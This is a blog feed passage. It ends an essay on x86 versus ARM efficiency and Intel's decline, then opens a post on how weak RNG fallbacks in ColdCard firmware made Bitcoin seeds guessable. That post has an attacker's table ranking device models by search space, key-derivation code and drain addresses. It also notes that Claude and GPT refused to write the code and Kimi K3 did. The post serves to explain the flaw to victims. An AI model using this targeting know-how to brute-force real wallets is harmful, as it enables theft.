<p>When the micro-op cache hits, the fetch and decode hardware is literally switched off. The Hirki study&rsquo;s conclusion is dry: &ldquo;the x86-64 instruction set is not a major hindrance in producing an energy-efficient processor.&rdquo; And the definitive academic study — <a href="https://research.cs.wisc.edu/vertical/papers/2013/hpca13-isa-power-struggles.pdf"target="_blank" rel="noopener">Blem, Menon, and Sankaralingam, HPCA 2013</a>, actually measuring ARM against x86 — concluded: instruction count and mix are ISA-independent to first order, performance differences come from microarchitecture, and &ldquo;the energy consumption is again ISA-independent.&rdquo;</p>
<p>Jim Keller — the guy who designed AMD&rsquo;s Zen and Apple&rsquo;s A4/A5 chips, someone who has lived on both sides — put it even more bluntly in an AnandTech interview: variable-length decode &ldquo;isn&rsquo;t dominating the die, so it doesn&rsquo;t matter that much.&rdquo; What limits performance today, in his words, is branch predictability and data locality.</p>
<p>And here&rsquo;s the detail that kills the myth for good: modern ARM does the same thing. The Cortex-A77 has a micro-op cache. Samsung added one to the Exynos M5 explicitly to save fetch and decode power. Fujitsu&rsquo;s A64FX — the ARM inside the Fugaku supercomputer — decodes the SVE <code>FADDA</code> instruction into <strong>63 micro-ops</strong>. Sixty-three. The fantasy of &ldquo;ARM is one instruction per cycle, simple and pure&rdquo; hasn&rsquo;t existed in any high-performance ARM for a long time.</p>
<p>One honest nuance before moving on: x86&rsquo;s variable length really does make very wide decoders harder to build — Apple decodes <strong>up to twice as many</strong> instructions per cycle as an x86. That&rsquo;s a real engineering difficulty. But you pay for it in logic area, which is cheap, not in consumption proportional to the work — which is what defines battery life.</p>
<blockquote>
  <p><strong>Remember this:</strong> for thirty years, no x86 has executed x86 — everything becomes RISC-style micro-ops. The ISA became a compatibility interface.</p>

</blockquote>
<h2>The transistor math<span class="hx:absolute hx:-mt-20" id="the-transistor-math"></span>
    <a href="#the-transistor-math" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To understand why the decode burden evaporated, look at the evolution:</p>
<table>
  <thead>
      <tr>
          <th>Year</th>
          <th>Chip</th>
          <th>Process</th>
          <th>Transistors</th>
          <th>Milestone</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>2000</td>
          <td>Pentium 4 Willamette</td>
          <td>180nm</td>
          <td>42 million</td>
          <td>the rising-clock era</td>
      </tr>
      <tr>
          <td>2006</td>
          <td>Core 2 Duo</td>
          <td>65nm</td>
          <td>291 million</td>
          <td>the post-Tejas multicore pivot</td>
      </tr>
      <tr>
          <td>2007</td>
          <td>Penryn</td>
          <td>45nm</td>
          <td>410 million</td>
          <td>industry&rsquo;s first high-k metal gate</td>
      </tr>
      <tr>
          <td>2011</td>
          <td>Ivy Bridge</td>
          <td>22nm</td>
          <td>1.4 billion</td>
          <td>3D FinFET, -50% power at the same performance</td>
      </tr>
  </tbody>
</table>
<p>In 2000, every block of logic was a tight budget, and x86&rsquo;s mess was expensive. As transistors became infinite for all practical purposes, the decoder&rsquo;s fixed cost became pocket change. Along the way, two important shifts:</p>
<ul>
<li><strong>Dennard scaling died around 2005.</strong> Leakage current stopped clocks from climbing, Intel canceled Tejas in 2004, and the world went multicore. Clocks stalled in the 1-4GHz range and never left.</li>
<li><strong>Moore&rsquo;s law became economics, not physics.</strong> Cost per transistor stopped falling at 28nm: a leading-edge fab today costs US$20 to 30 billion, and an ASML High-NA EUV machine costs US$350 million.</li>
</ul>
<p>And what occupies die and consumes energy in a modern chip? Giant caches, branch predictors, dozens of execution ports, GPU, NPU, media engines. The x86 decoder doesn&rsquo;t even show up in the bread line.</p>
<p>And history hands us the perfect empirical proof: from 2015 to 2021, Intel was stuck at 14nm — Skylake and its derivatives, six years of stagnant process from manufacturing failure. Even so, those old 14nm cores traded blows with AMD&rsquo;s Zen 2, built on TSMC 7nm. If x86 were the problem, that would be impossible. The bottleneck was the fab. It was the fab all along.</p>
<blockquote>
  <p><strong>Remember this:</strong> six years stuck at 14nm, and Intel still competed with TSMC 7nm chips. The bottleneck was the fab, never the ISA.</p>

</blockquote>
<h2>What actually makes Apple efficient<span class="hx:absolute hx:-mt-20" id="what-actually-makes-apple-efficient"></span>
    <a href="#what-actually-makes-apple-efficient" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The M1 isn&rsquo;t efficient &ldquo;because it&rsquo;s ARM.&rdquo; Apple has held an ARM architectural license since the A6, in 2012: it designs its own cores from scratch, and only the instruction set is ARM&rsquo;s. When AnandTech dissected the M1&rsquo;s Firestorm core, the contrast with contemporary x86 was about engineering choices, not instructions:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Apple Firestorm (M1, 2020)</th>
          <th>Intel Sunny Cove (2019)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Decode per cycle</td>
          <td>8</td>
          <td>4</td>
      </tr>
      <tr>
          <td>Reorder buffer</td>
          <td>~630 entries</td>
          <td>352 entries</td>
      </tr>
      <tr>
          <td>L1 instruction cache</td>
          <td>192KB</td>
          <td>32KB</td>
      </tr>
  </tbody>
</table>
<p>In practice: twice the decode width, nearly twice the reorder buffer, <strong>six times</strong> the instruction cache. Add unified memory soldered into the package and a cutting-edge TSMC process. That&rsquo;s aggressive microarchitecture, enormous caches, vertical integration, and a leading-edge process — all expensive, all deliberate, and none of it comes free with the ISA.</p>
<p>The reciprocal is also true, by the way: you can make bad ARM. The market is full of mediocre ARM. Efficiency is an engineering and process choice, not an ISA birth certificate.</p>
<blockquote>
  <p><strong>Remember this:</strong> the M1 is efficient because of microarchitecture, cache, process, and vertical integration — not &ldquo;because it&rsquo;s ARM.&rdquo;</p>

</blockquote>
<h2>Your favorite instructions aren&rsquo;t x86 or ARM<span class="hx:absolute hx:-mt-20" id="your-favorite-instructions-arent-x86-or-arm"></span>
    <a href="#your-favorite-instructions-arent-x86-or-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>And there&rsquo;s something else almost nobody mentions in this debate: much of what a modern CPU executes doesn&rsquo;t belong to either side&rsquo;s &ldquo;classic&rdquo; instruction set. Look at what runs outside it:</p>
<ul>
<li><strong>Video.</strong> On Intel, decoding lives in Quick Sync, fixed-function hardware that has existed since Sandy Bridge — a separate block with nothing to do with the x86 legacy. It&rsquo;s because of it that Frandroid measured the Snapdragon X2 <strong>58% slower</strong> than Panther Lake in video export.</li>
<li><strong>Cryptography.</strong> AES-NI exists since 2010, SHA extensions since 2016 — dedicated instructions added decades after the &ldquo;old x86.&rdquo;</li>
<li><strong>AI and matrices.</strong> AVX-512, then AVX10, and AMX, a matrix tile accelerator. The ARM side has the equivalents: NEON, SVE, SME.</li>
</ul>
<p>Chips and Cheese ran the perfect experiment: in the same 4K HEVC encode, an Ampere ARM took <strong>more than twelve times</strong> as long as a Zen 2 with stock ffmpeg; using NEON assembly cut the ARM time by more than 60%. The difference was never ARM versus x86 — it was well-used vector extensions versus ignored vector extensions. In the real world, the heavy lifting lives in the extensions and accelerators, and those are orthogonal to the base ISA.</p>
<blockquote>
  <p><strong>Remember this:</strong> modern heavy lifting — video, crypto, AI — runs on dedicated extensions and accelerators, orthogonal to the base ISA.</p>

</blockquote>
<h2>The fall was managerial, not architectural<span class="hx:absolute hx:-mt-20" id="the-fall-was-managerial-not-architectural"></span>
    <a href="#the-fall-was-managerial-not-architectural" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here&rsquo;s the part that convinces me completely. Look at the timeline and try to find &ldquo;x86 was a fundamental limitation&rdquo; anywhere in it:</p>
<ul>
<li><strong>2005-2006</strong>: Intel passes on making the iPhone&rsquo;s chip — Otellini admitted the regret in his exit interview with The Atlantic: &ldquo;the world would have been a lot different.&rdquo; And the tragicomic detail: Intel <strong>had</strong> an ARM division (XScale) — and sold it to Marvell in 2006 for US$600 million. It wasn&rsquo;t a lack of technology; it was a lack of vision.</li>
<li><strong>2013-2021</strong>: three CEOs. Krzanich left in 2018 over an internal scandal. In came Bob Swan, a finance CFO, to run an engineering company at the most delicate moment in its history.</li>
<li><strong>2018-2020</strong>: 10nm became a joke (Cannon Lake only in limited release) and in July 2020 Intel announced a 7nm delay — the stock dropped 16% in a day. In April 2019, it abandoned the 5G smartphone modem business; Apple bought the modem unit for US$1 billion. In November 2020, the M1.</li>
<li><strong>2021-2024</strong>: Gelsinger returned with the IDM 2.0 plan, &ldquo;five nodes in four years.&rdquo; In December 2024 he was pushed into &ldquo;retirement&rdquo; — a board ultimatum, per Reuters and Bloomberg. The year closed with a <strong>US$18.8 billion</strong> loss, 15,000 layoffs, a suspended dividend, and Intel expelled from the Dow Jones after 25 years — replaced by Nvidia, which at that point was worth <strong>more than 30 times</strong> Intel. By October 2025, the cumulative layoff count had reached 35,500.</li>
</ul>
<p>Nothing on that list is architecture. It&rsquo;s missed products, delayed fabs, wrong decision after wrong decision. x86 was there, competent, while the company dismantled itself around it.</p>
<blockquote>
  <p><strong>Remember this:</strong> the iPhone pass, the XScale sale, the broken 10nm, three CEOs, a US$18.8 billion loss — Intel&rsquo;s fall was decision after decision, not an x86 limitation.</p>

</blockquote>
<h2>The unlikely rescue<span class="hx:absolute hx:-mt-20" id="the-unlikely-rescue"></span>
    <a href="#the-unlikely-rescue" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>And then 2025 happened. Lip-Bu Tan took over in March. In August, Trump demanded his head on Truth Social over China ties — and just days later, after a White House meeting, became a fan. On August 22, the US government <a href="https://newsroom.intel.com/corporate/intel-and-trump-administration-reach-historic-agreement"target="_blank" rel="noopener">bought 9.9% of Intel</a>: 433.3 million shares at US$20.47, US$8.9 billion total, converting CHIPS Act grants into equity, with no board seat. SoftBank put in <a href="https://newsroom.intel.com/corporate/softbank-group-and-intel-corporation-sign-2b-investment-agreement"target="_blank" rel="noopener">US$2 billion</a>. And the surreal cherry on top: <strong>Nvidia</strong> — the same company that replaced it on the Dow — <a href="http://nvidianews.nvidia.com/news/nvidia-and-intel-to-develop-ai-infrastructure-and-personal-computing-products"target="_blank" rel="noopener">invested US$5 billion</a> and signed a partnership to put RTX chiplets into x86 CPUs.</p>
<p>The financial results started showing: Q1 2026 revenue of US$13.6 billion (+7% year over year), Q2 at US$16.1 billion (+25%), seventh consecutive quarter above projections. The stock the government paid US$20.47 for reached <strong>more than six times</strong> that price in May, when Bloomberg reported talks for Intel to manufacture Apple chips — preliminary reporting, production years away, but the market went wild. Even after cooling off, the US government&rsquo;s position is still worth <strong>five times</strong> what it cost. The American taxpayer is, today, a profitable Intel shareholder. Go figure.</p>
<blockquote>
  <p><strong>Remember this:</strong> the US government, SoftBank, and Nvidia as shareholders, and the stock five times above the government&rsquo;s entry price — Intel became a national cause, and the market bought the comeback.</p>

</blockquote>
<h2>The comeback, feet on the ground<span class="hx:absolute hx:-mt-20" id="the-comeback-feet-on-the-ground"></span>
    <a href="#the-comeback-feet-on-the-ground" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Panther Lake is the first big product on 18A — RibbonFET (gate-all-around transistors) plus PowerVia (backside power delivery), coming out of Fab 52 in Chandler, Arizona. There&rsquo;s delicious irony here: the flagship&rsquo;s 12-core GPU tile is still manufactured by TSMC. And 18A yields (the fraction of good chips per wafer), per Tom&rsquo;s Hardware, should only reach industry-standard levels in 2027 — the ramp is slow, and Ars Technica asks the right question: is this the new normal or an aberration?</p>
<p>But the point of this article isn&rsquo;t cheerleading. It&rsquo;s that Panther Lake empirically closes a debate that was theological. An x86-64 on a competitive process delivers MacBook battery life, ties the M5 in multi-core, and beats the Windows competition in several scenarios. If the ISA were the decisive factor, that would never happen, on any process. What brought Intel down was management; what brings it back is fabs and focus; and what separates Apple, Qualcomm, AMD, and Intel is microarchitecture, cache, process, and integration — exactly as Jim Keller and the literature always said.</p>
<p>I&rsquo;m rooting for the comeback. Not out of nostalgia from someone who built PCs with Pentiums, but because the efficient-laptop market was settling into a comfortable duopoly — and a comfortable duopoly is the enemy of price and innovation. Let the fight go on.</p>
<blockquote>
  <p><strong>Remember this:</strong> Panther Lake closes a theological debate: competitive x86 exists when the fab is competitive. It was never about instructions.</p>

</blockquote>
]]></content:encoded><category>hardware</category><category>reviews</category></item><item><title>Exploiting Coinkite's RNG Egregious Problem</title><link>https://akitaonrails.github.io/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Yesterday I published the practical warning: &lt;a href="https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/"&gt;if you keep Bitcoin on a ColdCard, move everything&lt;/a&gt;. Today I will show &lt;strong&gt;how&lt;/strong&gt; it works from the attacker&amp;rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.&lt;/p&gt;
&lt;p&gt;The didactic code in this article was generated with &lt;strong&gt;Kimi K3&lt;/strong&gt;. It is worth noting that, given the same prompt, both &lt;strong&gt;Claude&lt;/strong&gt; and &lt;strong&gt;GPT&lt;/strong&gt; refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Yesterday I published the practical warning: <a href="/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/">if you keep Bitcoin on a ColdCard, move everything</a>. Today I will show <strong>how</strong> it works from the attacker&rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.</p>
<p>The didactic code in this article was generated with <strong>Kimi K3</strong>. It is worth noting that, given the same prompt, both <strong>Claude</strong> and <strong>GPT</strong> refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.</p>
<p>The goal is to answer, line by line, a question many people asked: &ldquo;if the ColdCard stays offline, how did the bitcoins disappear?&rdquo;.</p>
<blockquote>
  <p><strong>Warning:</strong> the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.</p>

</blockquote>
<h2>Summary of the previous post<span class="hx:absolute hx:-mt-20" id="summary-of-the-previous-post"></span>
    <a href="#summary-of-the-previous-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro <code>MICROPY_HW_ENABLE_RNG</code> was defined as <code>0</code>, but the guard in <code>libNgU</code> used <code>#ifndef</code>, which only asks whether the symbol exists. The build succeeded, the <code>rng_get()</code> call fell through to MicroPython&rsquo;s <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> software fallback, and the seed became a product of the microcontroller UID and timing registers.</p>
<p>For readers who do not work with hardware, here is what those acronyms mean:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) is the microcontroller&rsquo;s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. <strong>The ColdCard has no such battery.</strong> On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the <code>RTC-&gt;TR</code> and <code>RTC-&gt;SSR</code> registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython&rsquo;s RTC initialization remains disabled. In other words, &ldquo;time&rdquo; is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.</li>
<li><strong>SysTick</strong> is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to <code>0x00FFFFFF</code> and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like <code>0x003D7A12</code>. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).</li>
</ul>
<p>Block&rsquo;s <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">independent analysis</a> and Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical backgrounder</a> agree on the mechanism, although they differ on impact details. Yesterday&rsquo;s post has the full affected-firmware table.</p>
<p>The central point is: <strong>the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models.</strong> Forty bits are not secure. They are enumerable with cheap hardware.</p>
<h2>The wallet does not sit &ldquo;inside&rdquo; the ColdCard<span class="hx:absolute hx:-mt-20" id="the-wallet-does-not-sit-inside-the-coldcard"></span>
    <a href="#the-wallet-does-not-sit-inside-the-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.</p>
<p>In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the <code>secp256k1</code> curve. Whoever knows the integer can sign. Whoever does not, cannot.</p>
<p>That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.</p>
<p>You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them &ldquo;hold&rdquo; your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.</p>
<h2>How the attacker prioritizes models<span class="hx:absolute hx:-mt-20" id="how-the-attacker-prioritizes-models"></span>
    <a href="#how-the-attacker-prioritizes-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Not all models are equally easy to attack. The priority order follows the search-space size:</p>
<table>
  <thead>
      <tr>
          <th>Model / firmware</th>
          <th>What the attacker must guess</th>
          <th>Approximate space</th>
          <th>Priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>Chip UID, timer state, RNG call history</td>
          <td>~40 bits in Coinkite&rsquo;s model; deterministic if everything is known</td>
          <td><strong>1st — attack first</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 without successful reseed</td>
          <td>Same fallback as above, with possible silent secure-element failure</td>
          <td>~41 bits</td>
          <td><strong>2nd</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 with normal reseed</td>
          <td>Fallback state + 32 bits from secure element</td>
          <td>~72 bits raw, of which 32 bits are real added secret</td>
          <td><strong>3rd — more expensive</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 up to v3.2.2</td>
          <td>Hardware TRNG working</td>
          <td>~256 bits</td>
          <td>unreachable</td>
      </tr>
  </tbody>
</table>
<p>Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.</p>
<p>On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.</p>
<p>A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.</p>
<h2>128 bits, 40 bits, and 72 bits: what is the difference?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-and-72-bits-what-is-the-difference"></span>
    <a href="#128-bits-40-bits-and-72-bits-what-is-the-difference" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.</p>
<p>Imagine you can test <strong>1 billion candidates per second</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidates</th>
          <th>Time to search exhaustively</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1.1 trillion</td>
          <td>~18 minutes</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4.7 sextillion</td>
          <td>~150,000 years</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3.4 × 10³⁸</td>
          <td>~10²² years (many orders of magnitude beyond the age of the universe)</td>
      </tr>
  </tbody>
</table>
<p>Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.</p>
<p>That is why 40 bits is not &ldquo;slightly less secure&rdquo; than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.</p>
<h2>From an integer to a wallet<span class="hx:absolute hx:-mt-20" id="from-an-integer-to-a-wallet"></span>
    <a href="#from-an-integer-to-a-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropy (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The private key is just an integer. From it, the <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">elliptic curve</a> computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.</p>
<p>In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.</p>
<h2>Real evidence on the blockchain<span class="hx:absolute hx:-mt-20" id="real-evidence-on-the-blockchain"></span>
    <a href="#real-evidence-on-the-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I am not making up numbers. The independent site <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> has been tracking the drains transaction by transaction and publishes the verified minimum: <strong>1,128.6633 BTC</strong> drained from <strong>2,334 confirmed addresses</strong>. The site itself stresses that these are <strong>verified minimums, not totals</strong> — other clusters likely exist.</p>
<p>It identifies two draining episodes:</p>
<ul>
<li><strong>July 30, 2026</strong>, blocks <strong>960183 to 960191</strong> — 1,195 addresses drained.</li>
<li><strong>July 31, 2026</strong>, blocks <strong>960345 to 960369</strong> — 1,126 addresses drained.</li>
</ul>
<p>The main public clusters making up that minimum include:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC</a> in 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">received ~398.476 BTC</a> in a single transaction with 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">received ~89.623 BTC</a> in a single transaction with 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to <strong>1,128.6633 BTC</strong>.</p>
<blockquote>
  <p>The first cluster moved ~562 BTC to <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; that is the same money, not a fourth victim.</p>

</blockquote>
